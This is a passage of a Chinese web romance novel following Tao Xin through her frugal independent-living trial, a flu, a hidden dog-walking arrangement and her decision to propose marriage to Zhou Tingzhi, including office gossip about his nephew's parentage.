窘迫,她长大一点才后知后觉的体会到,她不想未来的周廷之也经受这种刺痛。 陶欣在哭。 周廷之听到了细微的啜泣声,却没有去安慰,而是看向另一边的车窗外,任由淚水滚落。 …… 因为没有按时回家,陶欣的独立生活观察期被延长了一天。 陶欣是真没想到陈平这么说到做到,她要早知道陈平这么说到做到,那天晚上干脆都不回家,迟到十分钟和十小时又没什么两样。 可惜有錢难买早知道。 何况她根本就没錢。 独立生活观察期的第一十天,正月十五,元宵节,陶欣的余额只剩下五百一十五块錢。 她并不是那种今朝有酒今朝醉的性格,还是很有规划的,考虑到抛出之后的收益,这五百一十五块钱要支撑余下二十天的消费,平均每天只能花二十五块七毛五,陶欣开始狠狠薅武术馆的羊毛。 就比如喝水这件事,她特意买了一瓶两升装的矿泉水,水喝光了,矿泉水瓶保留着,下班之前用武术馆的饮水机灌满,拿回家里喝,这样一天起码就省了两块钱。 还有武术馆食堂每天都有水煮蛋,每人限量领两个,陶欣中午不吃,揣兜里带回去,当明天的早餐,这样又省下一顿早餐钱。 至于去食堂后厨问人家要没用完的食材这种事,不提也罢。 “别看我现在没剩多少钱,我完全有自信考核期結束还能有存款。”陶欣得意地说:“这种程度局长大人还不得狠狠给我加分呀。” 小曼笑道:“太艰苦了也不行,是让你独立生活,不是让你独立生存,元宵节还是要过出一点节日味道。” “我晓得,我买了元宵,还买了鸡翅,晚上准备做可乐鸡翅。” “真的假的,我们今天还说呢,过节周廷之肯定回来找你。” 陶欣抿了下唇,说话的声音较比刚刚低了些:“算了吧,元宵节而已,也不是非要一起过。” 小曼一怔:“什么情况啊?吵架了?” 陶欣叹了口气:“倒不能说是吵架,就是有一点小分歧,在彼此冷静中。” “我天,你们俩好的像一个人,真没想到还能有分歧。”小曼问:“所以是为什么事有分歧?” “你知道的,他的年龄毕竟摆在那里,我是为他考虑,想说早点要孩子,他不同意,说我年纪太小了,应该过两年再考虑。” “……不是,你跟我秀恩爱呢?你俩这是有分歧吗?这不是双向奔赴吗?” “哎,我倒是希望他自私一点。” 提起这件事,陶欣就忍不住唉声叹气,她不喜欢自己这样子,拉开话题闲谈几句就把电话挂断了。 不多时,收到周廷之发来的消息。 虽然在彼此冷静中,但两个人不管做什么都会拍照给对方,聊天也照常,只是刻意避开会触碰到分歧的话题。 【周廷之:[照片]】 【周廷之:房子基本确定下来了】 【陶欣:[转圈圈][转圈圈]】 【周廷之:等考核期结束去过户】 【陶欣:欧克克】 【周廷之:我中午睡午觉的时候做夢了】 【陶欣:夢到什么?】 【周廷之:梦到你习惯了外边的生活,想自己一个人住,再也不回来了,也不许我去找你】 【陶欣:梦都是反的】 即便一直保持默契,刻意避开那个话题,可此时此刻,陶欣还是忍不住说:【我不喜欢独立,一个人太寂寞,我想要家庭,血脉相连的家人,这一点我们是一样的,对吧】 过了一会,周廷之回复:【到窗边来】 陶欣走到窗边,向外看去,一辆熟悉的卡罗拉停在楼下,是家里的买菜车。 陶欣低下头,正要回复,忽然收到姚雪娜发来的六十秒语音:“老天,怎么回事啊?周廷之那个侄子怎么知道自己的身世了?你该不会怀孕了吧?” “说什么呢?” 姚雪娜直接发来一张截图,是周念的朋友圈,元宵佳节,他发朋友圈感谢了这么多年一直以父亲的身份抚养他、照顾他、疼爱他的周廷之,言辞真挚,且对自己的身世毫不避讳。 陶欣怔了怔,又点开姚雪娜的下一条语音:“这是李崇发给我的,他侄子发给他的,到底怎么回事啊?” “就是他说的那么回事,这跟我怀不怀孕有什么关系?” “他这身世,早不公布,晚不公布,这时候公布,大多數人都会首先想到你是不是怀孕了,周廷之是不是要给自己的孩子扫清障碍。” “早公布,晚公布,不管什么时候公布,该这么想的还是会这么想。” “那倒也是,不过周念这个孩子还真是不错,各方面都像周廷之,你不得不说这也是一种缘分。” 周廷之是底色温柔的人,周念其实也一样。 这是由她挑选的家人,不是外界那些大多数人。 陶欣透过窗户看向那辆卡罗拉,拿上钥匙,快步下了楼。 周廷之看着手机,一直在等她回复,忽然听到有人敲了敲车窗,转过头,没想到是她。 “……我不是叫你别下来。” 陶欣坐进车里,笑了笑:“过节嘛,见一面没关系的,你还开这辆车来,搞得像地下党接头。” “我怕陈平扣你分。” “如果这样就扣我分,他得多狠心啊。” “……你下来找我,是想清楚了吗?” “你呢,不是你先来找我的吗?” 周廷之沉默了一瞬,看着她说:“遇到你的事,我总是瞻前顾后,考虑太多,反而忽略了你的感受……这两天,我反省了一下,感觉自己确实像一个打着为你好的旗号,自作主张替你做决定的封建家长,不够尊重你的意愿。” 周廷之很擅长复盘,他找到了陶欣持续低落的关键,而这些话,他不能在手机里说,一定要当面说,哪怕一个在楼上,一个在楼下。 他没想到陶欣会先下楼,这意味着陶欣也整理好了杂乱的思绪。 周廷之暗暗握紧手掌,等着陶欣开口。 “我也有反省。”陶欣说:“你考虑太多,我考虑太少……你知道吗,刚刚雪娜问我,是不是怀孕了,因为周念发的那个朋友圈,她说大多数人都会首先想到你是不是要给自己的孩子扫清障碍,就连雪娜,她也是这样想。” “嗯……我预料到了。” “我没想过会这样……也许你的顾虑都是会真实发生的,而我社会经验太少,把一切都想得太简单了,才会觉得有点委屈……明明我都是为你好,你怎么一点都不领情……” 陶欣说着说着,眼睛里又涌上淚意,还是觉得委屈。 周廷之喉结滚动,声线喑哑,也像是有一团泪哽在喉咙里:“我领情,我知道你是为我好。” 陶欣听到他声音里隐隐有哭腔,又一下子哭出来,只是相较于上一次的默默流泪,这一次称得上嚎啕:“呜呜呜呜……我们俩怎么这么惨啊……我怎么这么倒霉啊……” 临近考核期结束,陶欣即将拥有完全民事行为能力。她没有丝毫要和周廷之分开的打算,那么结婚这件事,就自然而然的提上了议程。 本来结婚生子,对他们来说应当是顺理成章 ,水到渠成的一件事,原本他们可以从新婚夫妻开始,慢慢做好迎接一个新生命的准备,可以感情同频、步调一致的养育子女,为孩子一点点长大而欣喜,为孩子进入青春期而发愁,为孩子的梦想骄傲,也为孩子的未来担忧。 可现在摆在他们面前的,并不是对新生命的期待,而是一个又一个不得不面对的烦恼。 跨越时间带来的年龄错位,注定是周廷之和陶欣一生的课题。 陶欣一边哭一边接过周廷之递来的纸巾,擦着眼泪,抽抽噎噎地说:“你怎么都不安慰我啊……” “太难过的时候,哭一下可能会好一点。”这是周廷之经过实验后得到的结论。 “是有好,好一点……”陶欣抽泣着,眼眶红红的,每一滴泪都落在周廷之心上,像滚烫的水溅在皮肤上。 周廷之不知道是安慰她,还是安慰自己,轻声说:“其实也没那么惨,跟绝大多数人相比,我们还算幸运。” 这世界上多少人终其一生也遇不到这样千载难逢的巧合,又或者说奇迹——他所爱着的人,也爱着他,灵魂契合,心意相通,就连庸俗肤浅的床事,也好像是要融入对方的身体里,那样不分彼此。 如果年龄错位带来的一切烦恼都是遇到奇迹的代价,那烦恼也是甜蜜的烦恼。 这样过于煽情的话,周廷之总是羞于启齿。 可他知道,陶欣会明白。 第67章 第67章她都能想象到周廷之在视…… 没有什么消息能比八卦传播更快。 元宵节过后上班的第一天,公司里就隐隐有了一点关于周念身世的风声,最开始也不知是哪个高层领导从合作公司老總嘴巴里听说此事,忙不迭地向旁人求证,而这人也不知真假,又向上求证,层层递进,總有能接触到那个圈子里的人,总能拿到周念朋友圈的截图。 而不管是哪个层面的领导,难免有两三个关系好的同事,当自己人看待的下属,这种瓜,很难忍得住不分享出去,消息也隨之扩散,周念朋友圈截图很快就传到了匿名群里。 【[图片]】 【居然是真的!实锤了!】 【所以呢???ztz根本就没結过婚???没生过孩子???我嘞个豆???把侄子当儿子养十八年???嫂子=亡妻???太抽象了吧这一家人???】 【什么啊,那他这么多年不谈恋愛不結婚是为啥?为侄子?】 【我真懵了,太抽象了】 【so……这节骨眼上公开身世……有一点难评】 【↑成分复杂】 【这时候公开咋了?不管怎么说ztz也是锦衣玉食养了侄子十八年吧?在他长大成人这十八年里没说给他找个所谓的后妈,生几个弟弟妹妹,然后忽视他冷落他吧?摸着良心说,天底下有几个人能对侄子做到这个地步?ztz很不错了好吧。】 【支持楼上,ztz是个男人,对侄子做到了仁至义尽,无可挑剔,那现在谈恋愛了,预备要结婚了,总不能讓自己的小女朋友做续弦当后妈啊,人家女方也才二十出头,凭什么受这份委屈?再说了,为自己的孩子做打算有什么不对?】 【同意!ztz对得起任何人[大拇指]】 【可是咱少爷……好吧不是咱少爷了,感覺他真的好可怜啊,就这么成了父母双亡的孤儿】 【倒也说不上可怜吧,那天他来公司,我们部门有个男同事说他脚上的鞋是全球限量三千双的,外邊已经炒到四五万了,大多数人买回去都是收藏,能这么隨随便便穿出来的,说明ztz确实很宠啊,很舍得给花钱,他爸妈活着还不一定有这种生活水准,享受这么多年富二代的生活不错了,还要什么自行车】 【我就把话放在这,咱少爷还是咱少爷,以ztz的性格,将来分家产也少不了他那份,只不过就是比自己亲生的肯定得少一些,那很合理,我看咱少爷发这朋友圈长文,字里行间也是有真感情的,不是那种斗米恩升米仇的人】 【同意,咱少爷是个仁义孩子,他要不发这个朋友圈,难道周廷之还能满世界去跟人家宣传我儿子其实是我侄子?】 【有道理】 匿名群里众人的想法,和外界绝大多数的人想法基本一致。周念的身世一经公开,起先是有许多负面风评,可大家仔细一想,一琢磨,又覺得周家这叔侄倆都挺为对方考虑,都把事情做的挺到位。 当然,主要还是因为周廷之和周念在这个圈子里本来就名声很好,即便出了这种一听都覺得抽象离谱的八卦,也没有到背地里叫人指指点点的份上,私底下闲谈起来,多是说周廷之和周念的好话。 因此,周念并没有迎来想象中落差感带来的冲击。他到底不是生性勇敢的人,自然害怕身世公开后的变化,在家躲了几天,才鼓足勇气出去见人,万幸旁人对他的态度都还和从前一样,这讓周念不禁松了口气,郁郁几日的心情终于得到好转,又自在地在家里打起游戏。 这对周廷之而言也是他最期望看到的结果。 元宵节过后一周,独立生活观察期的第十八天,陶欣的余额还有惊人的四百块钱,作息习惯也从之前的上午九点起床改成了早上六点半起床。 “我现在真感覺早上起来活动活动还蛮好的,像修仙,吸收日月精华。”陶欣说完,松开手,“咻”一声,语音条发给了周廷之。 周廷之也在晨练,同样发语音,声音微喘:“那考核期结束也要继续保持,早睡早起总归是对身体好的。” “我平常睡得也很早了哇,我就是睡得久……” 陶欣是天生的长睡眠者,一天要睡九到十个小时,因为最近没有什么夜生活,晚上八/九点钟就躺床上睡觉了,所以早起的特别顺利。 又聊了几句,周廷之发来一个小青蛙的表情包:“我去洗澡了,待会说。” 陶欣回复了一个ok的手势。 走到公园里,见几个老人正在打太极,陶欣站在旁邊看了一会,忽然听到有人叫她。 “陶教练。” “欸,陆教练,这么巧。” 陆晨牵着两只大金毛,笑道:“你在这偷师学艺呢?” “随便看看。”陶欣视线落到两只毛发顺滑油亮的大金毛身上,忍不住蹲下身揉一揉狗脑袋:“哈喽哇小金,你怎么这么可愛啊。” 大金毛咧着嘴,吐着舌头,尾巴狂摇,很熱情的在陶欣身邊蹭来蹭去。 “我妈最近出门旅游了,我爸一个人应付不来家里那些祖宗,就把它们倆送到我这,让我伺候几天。”陆晨紧接着说:“正好遇着你,快帮我牵一只,这公园里早上遛狗的太多了,动不动就往一块打,我一个人真弄不住它们俩。” “那我要牵小金!” 陆晨家的两只狗,一只是憨憨的大金,一只是甜甜的小金。陶欣真觉得小金笑起来的样子特别可愛,简直是她的梦中情狗,牵着小金在公园里遛弯,可比看老大爷们打太极有意思多了。 陶欣牵着小金,看了眼离她有一 段距离的陆晨,能感觉出陆晨是有意的避嫌,于是走过去说:“它们俩要在你这住几天?要不我明天也帮你遛狗吧。” “好啊,那我明天早上下楼的时候给你发微信,大概也就七点左右。” “行!哦对了,我没用那个微信,你加我这个小号吧。” 陶欣拿出手机,给他扫码,而陆晨那边刚扫上,周廷之的视频通话就打了过来,前后最多相差两秒钟,这么刚刚巧的时机让陶欣不由得愣了一下。 而陆晨看到屏幕里“[爱心]好粥道先生[爱心]”的备注,知道是周廷之,什么也没说,牵着大金往另一边走了。 陶欣回过神,把视频接起来。 周廷之刚洗完澡,头发吹得半干,见陶欣接起视频了,便将镜头翻转,对准爬到罗马杆上的陶剩剩:“你看它多皮,我就一眨眼的功夫,一下子窜上去了。” 陶剩剩渐渐长大,脸越吃越圆,眼睛也圆溜溜的,虽然远远称不上可爱,但勉强能算得上丑萌,日复一日的,周廷之倒真把它看顺眼了,偶尔也能生出几分父亲的慈爱之心。 “爬那么高,待会能下来吗?” “能的,这位少侠身手矫健。” 陶欣笑起来,一边同他说话一边牵着小金往公园里边走。 至于帮陆晨遛狗这件事,陶欣没有和周廷之说。 在陶欣看来,不管陆晨对她有没有那个意思,周廷之作为她的男朋友,对她身边的某个异性表现出强烈的戒备心,那她就理应和这个异性保持距离,最起码不应该主动的提出同人家一起遛狗。 可小金太可爱了,独立生活太寂寞了,晨起在公园里看老大爷打太极太凄凉了,陶欣是真的很想早上起来带着熱情的小金一起遛弯。 陶欣当然也清楚,周廷之知道她是为这个和陆晨一起遛狗,绝对不会怪她,可一定会胡思乱想,她都能想象到周廷之在视频里故作大方,一挂断视频就咬牙切齿的模样。 可爱是可爱……但陶欣不希望周廷之心里总惦记着这件事,所以选择了隐瞒。 而之后的两天,她都是和陆晨约着在公园门口见面,从陆晨手里接过狗就一东一西的分开来在公园里闲逛,偶尔遇到,如果陶欣拿着手机在打电话,陆晨就不会过来打招呼,非常的有分寸感。 原本对于自己隐瞒周廷之和陆晨见面这件事,陶欣心里还有一点小负担,可这样界限分明的溜了两天狗,陶欣那点小负担就一扫而空了。 独立生活观察期的第二十二天傍晚,陶欣洗完澡,收拾完浴室,忽然觉得有些冷,一连打了好几个喷嚏,四肢也莫名有点酸痛。 她一向身体好,极少生病,丝毫没有当回事,晚上照常和周廷之视频通话。 周廷之接起电话,一看她,就感觉到了不对劲:“怎么无精打采的?” 陶欣窝在被子里,脸颊微红:“可能昨天没睡好吧,浑身痛。” “是不是发燒了?” “……” 陶欣抬起手,摸了摸自己的额头:“好像……是有点热。” “用外卖软件买个温度计,量一下。” “不够配送……” “买个退燒药凑单。” “……直接搜退烧药吗?” “算了,你现在起来穿衣服,去楼下找一家诊所,量一**温,看看需不需要输液,我感觉可能是病毒性感冒,不能拖,容易烧成肺炎。” 周廷之这样说的时候,已经在换衣服准备出门。 陶欣本来只是有那么一点不舒服,可看他要来找自己,那种不舒服的感觉忽然翻了一百倍,似乎只有趴在他怀里,叫他抱着自己才能好受一些。 第68章 第68章周廷之把手机放回原位,…… 这么晚了,诊所里人竟然还很多,小护士忙忙碌碌,扎完針紧跟着就换藥,忙得連说话的功夫都没有,陶欣坐在凳子上萎靡了一会,在里面兑藥的大夫才抽出空问她的情况。 陶欣照实回答了,大夫便递过来一个体溫计:“这波流感都这样,一上来就发烧,先量量体溫吧。” 体溫计刚用酒精消过毒,冰冰凉凉的,贴到皮肤上像被針扎一样。陶欣靠在墙上,看着手机屏幕里位置共享的界面,周廷之的头像正在不停移动,逐渐向她靠近。 陶欣抬起头,视线扫过诊所里每一个正在輸液的人,无论男女老少,身邊都有人陪伴。 难怪她一出门周廷之就立刻发来了位置共享。 不得不承认,好粥道先生有时候真是细腻的不像话,他那些柔软温情的小心思,像一颗颗种子,无声地藏在衣服里,走着路,不知从哪就开出一朵花,不是多么盛大的惊喜,却叫人时刻感受他的愛意。 五分钟后,陶欣拿出体温计,举起来看上面的水银,明确度数,不由一怔,赶紧拍照发给周廷之。 周廷之在开车,停下来的时候回复她。 【周廷之:39?】 【周廷之:怎么烧的这么厉害】 紧接着电话打了过来。 “大夫怎么说?要不要去医院?” “大夫说是病毒性流感,都发烧,去医院也是輸液,要輸一个星期呢……你来的时候把口罩戴好,别传染上。” “嗯,我知道了。” 电话没有挂断,陶欣叹了口气说:“我好倒霉,钱肯定不够用了,你来这,陈平多半也要扣我分。” “钱不用担心,不够花可以借的,谁还没有遇到困难的时候?考核期结束之前还上就好了。”周廷之笑了笑:“再说,我没去你家,没给你买藥,只是来看看你,天经地义的事,陈平为什么要扣你分。” “无所谓了,扣分就扣分吧,反正是我尽力了。” 角落里有对老夫妻,输完液,拔了針,相携离去,空出一張沙发椅,护士招手叫陶欣过去做皮试。 陶欣真的很少生病,很少打針吃药,看到护士手里拿着做皮试的针,一瞬间心都缩紧了,等护士给她的手腕消毒时,更是紧張到肌肉紧绷。 “放松一点。” “好……” 陶欣紧抿着唇,把头扭过去,望向沿街那面大落地窗。尚未出正月,街上还残存着年味,玻璃上红色的窗花,树干上缠绕着星星似的灯带,树枝上挂着一个个小红灯笼……在尖锐的针头尚未刺进皮肤前,周廷之先闯进了陶欣的视线。 他穿着黑色羊绒大衣,里面是家居服,头发被风吹得略有些凌乱,就那样在窗前一瞬而过,紧接着有人推开了门。 陶欣看向门口的瞬间,感受到手腕上传来的痛意,轻轻吸了一口气:“嘶……” “好了,等个十五分钟吧,自己看着点时间。”护士利落的收起东西,又去忙别的事。 周廷之走到她面前,俯下身贴了贴她的额头,微微蹙起眉:“这么烫。” “你好凉……”陶欣捞起他的手,搭在自己脸上:“怎么来的这么快?” “路上车少。” “这次流感还挺严重的,你看,倒了一大片。” 陶欣坐在他身侧,脸颊贴着他的手背,因为高烧的缘故,眼珠格外黑,嘴唇略有些干涩,看起来像一只生了病的无精打采的小狗。 周廷之揉一揉她微烫柔软的脸颊,听到她发出小狗一样委屈巴巴的哼唧声,真的不想再理会什么狗屁独立生活考核,直接把她带回家。 陶欣本来是很不容易生病的,都是这段时间在外邊住,每天都吃的很少,又没什么营养,才会导致免疫力下降……想到她每天早上只吃两个水煮蛋,周廷之心里就酸涩的厉害,連呼吸都有些困难。 不想自己的情绪影响到已经很难过的陶欣,周廷之笑笑,收回自己已经温热的手,脱掉大衣说:“我去给你倒杯水,多喝水好得快。” 诊所有饮水机,旁边就是一次性纸杯,周廷之接了一杯热水回来,放到一旁的扶手上:“先晾晾,小心点,别碰着了。” 陶欣看到水才觉得口渴,凑过去吹一吹,贴着杯子边沿啜了一口,润润唇瓣,稍微觉得舒服一些。 周廷之笑了,不自觉地说:“你这样真的好像小狗。” 陶欣闻言,抬眼看过来,周廷之立刻意识到自己说错话了,陶欣这种性格,不会喜欢被当做小猫小狗看待。 “什么?” “说你可愛。” 周廷之将她额前略长的发丝捋到耳后,很自然而然的转移了话题:“才一个月吧,头发长了这么多。” 陶欣嘟着嘴说:“我的营养都被头发吃掉了。” 周廷之一直认为亲密关系是需要长久呵护的,再怎么相爱的两个人,也要有意識的避开对方的雷区,或许一脚踩上去只是很小很小的伤害,可日久天长,总归会折损的看不出当初的模样。 他呵护陶欣,也是呵护自己珍贵的爱情。 “等回家了,叫琴姐给你好好补一补。” “我想吃琴姐煲的海鲜粥……你干嘛?” “感觉你口水要流出来了,我拿个杯接着点。” “你好烦哦。” 十五分钟后,护士来看了眼皮试反应,见没什么异样,拿来药瓶给陶欣输液。 又要扎针。陶欣将脸埋进周廷之的手臂里,不敢看,周廷之抱着她,倒是一副安慰的姿态,可 视线并没有落在陶欣的手上。 护士在这小诊所里也算见多識广了,男朋友面前装柔弱的女孩她见太多,抱着女朋友轻声安慰,可眼睛里始终没什么感情的男人更是多如牛毛,因此护士一眼就看出面前这对情侣是真害怕,女的害怕疼,男的害怕女的疼。 因为加班臭脸一晚上的护士难得说一句软话:“放心吧,不疼。” 护士手法高超,针扎的干脆利落,的确不是那么疼。 陶欣抬起头,看她三两下固定好输液管,还往自己手上缠了个药盒,小声说了句谢谢。 “没事。”护士把剩下两瓶药都挂到架子上,又去忙碌了。 临近九点钟,诊所渐渐安静下来,脚步声与低喃细语反复交替,消毒水的味道弥漫在鼻息。 陶欣又量了一次体温,38.5,比来的时候好一点,可烧还没退,整个人越来越没精神,昏昏沉沉的,喝水都觉得苦。 周廷之坐在她身旁,把一截输液管握在手心里,另一只手则轻抚着她的肩膀,摩擦衣料,热度渗透,发出温柔的沙沙声。 “睡一会吧,睡醒烧就退了。” “嗯……” 陶欣完全靠在周廷之怀里,很快就睡着了。 周廷之看着澄净的液体一颗一颗落入滴斗中,缓缓流淌进陶欣泛着青的血管,那只纤细白皙的手因为输液变得惨白,隐约能看到手背上凝成块状的血色。 周廷之微不可察地深吸了口气,克制住自己想要找陈平理论的冲动。 陈平是为陶欣好,就像班主任对待自己的学生,谆谆教诲,没有一丁点私心,他为孩子生病就找上门去,跟那种胡搅蛮缠的家长有什么区别。 周廷之忍耐着,垂眸看了眼熟睡的陶欣。她微微張着嘴巴,露出一丁点雪白的牙齿,像呆呆的,软绵绵的小兔子。 周廷之忽然很想给她拍張照,这会才想起来手机在大衣口袋里,而大衣挂在另一边的衣架上。 陶欣睡得熟,他不方便动作,恰好陶欣的手机在一旁,周廷之没多想,拿起来随手一上划就解了锁。 管理局给配备的手机,一开始就没设置密码,陶欣也大概懒得设置了。 周廷之点开相机,对着熟睡中的陶欣一连拍了好几张,回过头去看相册,除了陶欣日常分享给他的照片,还有十几张金毛的照片。 并不是连续的十几张,而是昨天几张,前天几张,大前天几张。 周廷之认得这两只金毛,陶欣之前发过朋友圈。 周廷之退出相册,又点进微信,主页为数不多的几个联系人中就有陆晨。 星期二06:35 【陆晨:我下楼了】 【陶欣:OK】 星期二:07:20 【陆晨:我在公园门口卖煎饼这】 【陶欣:来了!】 昨天06:38 【陆晨:下楼了】 【陶欣:OK】 【陶欣:稍等我几分钟】 【陆晨:没事,不着急】 06:40 【陆晨:下楼了】 【陶欣:我也】 聊天记录简短至极,却也能证明,这几天他们每天早上都见面,一起在公园里遛狗。 周廷之把手机放回原位,心里意外的平静。 周廷之知道陶欣爱他,瞒着他只是不想他多心,所以并不惊慌。 问题在于,他已经足够严防死守,可还是有人见缝插针的等着上位,事实也证明,如果陶欣有意瞒他,和别的男人见面,他完全无法察觉。 既然如此,他能做的就只有信任陶欣,彻彻底底的信任。 至于这些伺机而动的第三者,他目前还没有清理许可证,等结婚之后…… 怀里的陶欣微微动了一下,打断了周廷之的思绪,周廷之小心翼翼地抬起她的手腕,确保不会滚针。 “哥哥……” “没事,睡吧。” 第69章 第69章“你生日那天,我们去领…… 或许是陶欣很少输液的缘故,两瓶药打进去很快就退烧了,睡醒之后明显有了精神。 周廷之将自己那条被她压麻的手臂缓缓抽出来,笑了笑说:“完蛋了,可能要去截肢。” 陶欣正喝水,闻言用手指在杯子里沾了点水,抹在他的鼻尖上:“偏方,这样会好得快一点。” “这是什么原理?” “不知道,我妈教我的,我小时候蹲久了脚麻,她就涂一点口水到我鼻子上……你感觉怎么样,好一点没?” “嗯,是好多了。” 陶欣笑笑,将杯子里的水一饮而尽,又抬头看上面的吊瓶:“应该快打完了吧,十分钟能打完嗎?” 周廷之很敏锐:“你是不是想去卫生间?” 陶欣脸颊微微一紅,点了点头。 喝了那么多水,又打了两大瓶药,不想去卫生间才怪了。 周廷之弯腰给她穿上鞋,仔细的绑好鞋带,随后才起身拿起吊瓶:“走吧。” 诊所的卫生间非常宽敞,也很干净,里面是那种老式蹲便,內外都没有一丁点污渍,而考虑到病人上厕所不方便,蹲便上方还有钩子,可以挂吊瓶。 周廷之把吊瓶挂好,看了眼陶欣:“我帮你脱?” 叫男朋友帮忙脱裤子上厕所这种事,令陶欣莫名害羞,忙说:“别,我自己能脱。” 周廷之扯了两张卫生纸,叠好塞进陶欣的卫衣口袋里:“我就在外边,有事叫我。” 陶欣闹了个紅脸,嗫喏着说:“……离远点嘛。” 刚准备离开的周廷之脚步一顿,回头看她。 陶欣小声催促:“快出去呀,我要憋不住了,你想看我尿裤子嗎。” 周廷之拉开门,出去了,在距离厕所几步远的地方站着。 虽然才分开二十二天,但陶欣对他明显产生了一点微妙的边界感。在家的时候,两个人每天睡在一起,事后他帮陶欣清理,陶欣都不会这么害羞。 周廷之很不喜欢这种感觉。 一晃神,门內传来冲水声,有过一会,陶欣说:“我好了……” 周廷之走进去,她已经整理好裤子,只是裤绳还散着,周廷之帮她系好,取下上方的吊瓶,两个人又慢慢挪回到沙发椅上。 这会诊所已经没什么人了,大夫走过来看看药瓶,笑着说:“剩这点药再有个十分钟就打完了。” 陶欣拿出手机,问大夫多少钱。 “八十。”大夫一边整理東西一边说:“这波流感容易反复,你明后两天还得接着来打。” “打三天就可以了嗎?” “正常应该是打一周的,不过你嘛,一看就是身体素质好的,打三天就差不多。” 三八二十四。 陶欣默默解锁手机,点进微信,查看余额,余额上的数字不多不少,正好二百四十块。 她转过头看向周廷之,瞠目结舌的样子:“这真的不是陈平暗箱操作吗?” 周廷之笑了,倒不是为这刚刚好的余额,而是为陶欣在他面前一点都不避讳展示自己最近聊天的界面。她多半是忘了陆晨这回事。 周廷之看见了,也没有提及,只轻轻叹了口气说:“还有十天,要賺多少花多少了。” “我现在做助教,一天能賺三十块,勉勉强强是够吃饭,说起来,幸好可以在武术馆食堂解决午饭,你知道吗,今天中午李教练把他的鸡腿都 分给我了,说我眼冒绿光。“陶欣说着,抬眼看已经快见底的吊瓶:“但愿陈平能让我过关吧。” “你已经做得很好了,第一次独立生活,自己洗衣服,做饭,赚钱,还能早睡早起,如果这样陈平都不叫你过关,我就去管理局找他。” “找他干嘛?” 周廷之一本正经,甚至有点严肃地说:“打架。” 陶欣被他逗笑。 两个人说话的功夫,最后一点药顺着输液管落下来了,大夫过来拔了针,嘱咐陶欣回去多喝水。 陶欣扫码付款,穿上衣服和周廷之离开了诊所。 周廷之的车停在诊所对面。 “这么晚了,你先回去吧。” “我送你到樓下。” 陶欣弯了弯眼睛,她当然不希望和周廷之这么快分开。 老小区,一过晚上十点就没什么人了。陶欣牵着周廷之的手,慢慢走到樓下,离单元门只剩下几步之遥,才停下来说:“好了,你回去吧。” 周廷之捏了捏她的手心:“明天就是第二十三天了,坚持住。” 陶欣点点头,看着周廷之,忽然笑着说:“你这样好像上大学那会送我回家。” 陶欣口中的上大学那会,已经是年后放假回来,两个人分离了一整个寒假,每天就靠着发短信打电话联系,想对方想的不得了,偏偏那会舞蹈学院门禁时间特别早,八点半宿舍就关门查寝了。 本来学校的事情就多,每天忙完已经是下午五点,收拾好去见面,吃个饭散散步,一转眼就得分开,时间短暂的都有点让人生气。 于是陶欣瞒着父母,偷偷在校外租了房子。 当时社会治安比较一般,哪怕陶欣自己有车更方便,周廷之也坚持每天送她回家,然后再自己走回学校。 很多次,周廷之送陶欣回来的时候已经很晚了,陶欣怕他耽误明天的早课,让他早点回去,周廷之就像现在这样,捏着陶欣的手,总要没话找话的再说上两句。 这会陶欣忽然提起来,周廷之也有些不好意思,笑了笑说:“那你上去吧,我走了。” “嗯,拜拜!”陶欣拉开单元门,朝他挥挥手,上了楼。 周廷之和大学那会一样,看她房间的灯亮了才转身离开。 陶欣打开灯,看着狭小却空荡的房间,叹了口气,仔细的洗了手,换了睡衣,把刚刚去诊所穿的那身衣服丢进洗衣机,而后躺到床上,习惯性的打开和周廷之的聊天界面。 知道周廷之在开车,陶欣看了一眼,又退出来,漫无目的地刷起段小红薯。大概是因为她最近经常搜索“独居女性注意事项”“一个人的晚餐吃什么”这类的内容,小红薯的大数据总给她推送一些独居vlog,虽然这些vlog的真实性有待商榷,但评论区的大多数网友都很羡慕这种有滋有味的独居生活,羡慕一个人的自由和无拘无束。 所以这个时代还有没有她这种一和男朋友分开就电量过低的女性? 陶欣知道恋爱脑不是好事,稍微有一点羞愧。 幸好有周廷之和她作伴,两个人也算是同病相怜。 周廷之一到家,就给她发来了微信。 【周廷之:到了】 【周廷之:回家看不到你,总觉得空落落的】 陶欣一度怀疑她和周廷之都有一点分离焦虑症,天底下情侣夫妻那么多,好像也没有像他们这种一分开就难受的呀。 【陶欣:QAQ】 【周廷之:没再发烧了吧?】 【陶欣:没】 【周廷之:不是在诊所拿了体溫計,量一下我看看】 陶欣回了一个“OK”,而后拿起床头的体溫計,塞进睡衣里,又回复周廷之:【不用担心,大夫都说我身体素质好呢,小小感冒,奈何不了我】 【周廷之:谁叫你连自己发烧了都不知道,只能多量体温了】 【陶欣:[对手指]】 这种新式体温计要比水银的快,两三分钟就滴滴作响了。 陶欣拿出来,打开相机,打算拍照给周廷之看,却在相机的左下角看到了一张自己毫无印象的照片。她反应很快,立刻意识到是周廷之趁她睡着的时候拍的,忍不住笑起来,将体温计上的体温拍下来发过去才返回相册看周廷之拍的那些照片。 自然也不可避免的看到了相册上方的两只金毛。 陶欣后知后觉地坐起身,又点开微信,看到最近聊天里的陆晨。 救命…… 【周廷之:半夜要是醒了就再量一次】 【周廷之:别不当回事,万一烧出肺炎就麻烦了】 陶欣回忆着她睡醒后周廷之的态度。 还好,一切如常。 所以周廷之只是拿她手机拍了照片,别的什么都没干,也没检查她微信……那倒是太阳打西边出来了。 凭借对周廷之了解,陶欣认为他多半是看到了自己和陆晨的聊天记录,兴许是看她生病,还要揭不开锅了,实在太可怜才隐忍不发。 这种时候…… 【陶欣:QAQ】 【陶欣:想你想你想你】 周廷之直接打过来视频电话。 接通后,两个人一时都没说话,静静地看着对方。 陶欣是在观察周廷之的状态,见周廷之也沉默的看着自己,有些心虚的换了个姿势,趴在床上说:“怎么还没换睡衣?” 周廷之轻声说:“等会去换。” 陶欣注意到他身后的背景:“你在厨房吗?吃宵夜?你不是过十点就不吃東西了吗?” “现在就上楼了。”他说着,低了下头,似乎是把什么东西扔到了垃圾桶了。 像是易拉罐的声音。 陶欣意识到他可能是在喝酒。 因为心情不好才喝酒。 “……周廷之。” “嗯?” “你生日那天,我们去领证结婚吧。” 陶欣知道自己应该先给周廷之暗示,等他安排求婚,正式接受他的求婚之后,再决定领证的具体日子。 可现在,她只想给周廷之足够的安全感,让他开心一点。【你现在阅读的是魔蝎小说 moxiexs】 【正文完】 第70章 正文完“谢谢你,还在这里等…… 结婚的念头并不是忽然间产生的。 